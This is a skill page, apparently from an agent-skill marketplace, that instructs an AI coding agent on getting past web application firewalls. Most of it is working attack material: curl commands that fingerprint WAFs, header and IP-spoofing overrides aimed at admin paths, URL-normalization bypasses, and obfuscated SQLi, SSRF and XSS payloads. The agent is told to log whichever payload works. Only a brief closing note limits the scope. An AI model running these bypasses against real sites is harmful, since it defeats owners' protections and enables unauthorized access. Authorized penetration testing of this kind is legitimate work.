# Waf Bypass And Exploitation

> Applies URL encoding, header tampering, path normalization, and payload mutation to bypass Web Application Firewalls (WAF) when testing valid vulnerabilities.

- Skill: `zyrexnn/waf-bypass-and-exploitation` (Agent Skill)
- Install (CLI): `npx skillmds@latest add zyrexnn/waf-bypass-and-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/zyrexnn/waf-bypass-and-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: zyrexnn (https://skillmd.com/u/zyrexnn)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/zyrexnn/waf-bypass-and-exploitation

---


# WAF Bypass & Exploitation Skill

## Purpose
Guide the agent on executing advanced encoding, header spoofing, and request restructuring techniques when encountering HTTP 403 Forbidden, 406 Not Acceptable, or 429 Too Many Requests from Web Application Firewalls (Cloudflare, Akamai, AWS WAF, ModSecurity).

## Knowledge References
- Consult `/workspace/knowledge/payloads/waf-evasion.md`
- Consult `/workspace/knowledge/payloads/ssrf-bypass.md`
- Consult `/workspace/knowledge/payloads/sqli-auth-bypass.md`

## Workflow

### 1. Identify WAF Signature
Inspect HTTP response headers for firewall indicators:
```bash
curl -sI "https://target.com/test-probe" | grep -Ei '(cloudflare|akamai|incap|sucuri|mod_security|aws-waf|cf-ray|x-waf)'
```

### 2. Header-Based Path Overrides
When `/admin` or `/api/internal` is restricted:
```bash
# Test X-Original-URL and X-Rewrite-URL
curl -s -H "X-Original-URL: /admin" "https://target.com/"
curl -s -H "X-Rewrite-URL: /admin" "https://target.com/"

# Test IP Spoofing Headers
curl -s -H "X-Forwarded-For: 127.0.0.1" \
        -H "X-Custom-IP-Authorization: 127.0.0.1" \
        -H "X-Real-IP: 127.0.0.1" \
        "https://target.com/admin"
```

### 3. Path & URL Normalization Variations
Test alternative path interpretations:
```bash
# Semicolon and matrix parameters
curl -s "https://target.com/admin;/"
curl -s "https://target.com/api/v1/..;/admin"

# Double URL encoding
curl -s "https://target.com/%252e%252e%252fadmin"

# Trailing dots and spaces
curl -s "https://target.com/admin."
curl -s "https://target.com/admin%20"
```

### 4. Payload Mutation & Whitespace Tampering
When injecting SQLi, SSTI, or XSS:
- **SQLi**: Replace `SELECT 1,2 FROM table` with `SELECT(1),(2)FROM(table)` or `SELECT/**/1,2/**/FROM/**/table`.
- **SSRF**: Replace `127.0.0.1` with `2130706433` (decimal) or `0177.0.0.1` (octal) or `127.0.0.1.nip.io`.
- **XSS**: Use character code evaluation `String.fromCharCode(88,83,83)` or `top[/al/.source+/ert/.source](origin)`.

## Output Artifacts
- `/workspace/output/waf_bypass_log.txt` - Successful bypass technique and exact working payload.

## Responsible Testing Boundary
- Bypassing a WAF is done solely to verify legitimate business or security impact within scope.
- Do not perform high-volume DoS or attempt to disrupt cloud firewall infrastructure.